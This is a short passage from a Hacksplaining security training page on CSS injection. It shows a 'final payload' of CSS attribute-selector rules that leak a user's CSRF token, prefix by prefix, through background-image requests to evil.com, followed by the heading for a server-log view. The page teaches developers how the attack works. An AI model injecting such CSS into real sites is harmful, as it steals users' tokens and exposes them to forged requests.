Hacksplaining Log in

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

After several visits the hacker will have been able to extract the entire CSRF token for that user.

Malicious CSS (final payload)
CSS 
input[name='csrf-token'][value^='9k2mX8qL4nR7pF1u'] {
  background: url(https://evil.com/steal?token=9k2mX8qL4nR7pF1u);
}

input[name='csrf-token'][value^='9k2mX8qL4nR7pF1v'] {
  background: url(https://evil.com/steal?token=9k2mX8qL4nR7pF1v);
}

input[name='csrf-token'][value^='9k2mX8qL4nR7pF1w'] {
  background: url(https://evil.com/steal?token=9k2mX8qL4nR7pF1w);
}
Malicious Server Logs
Access log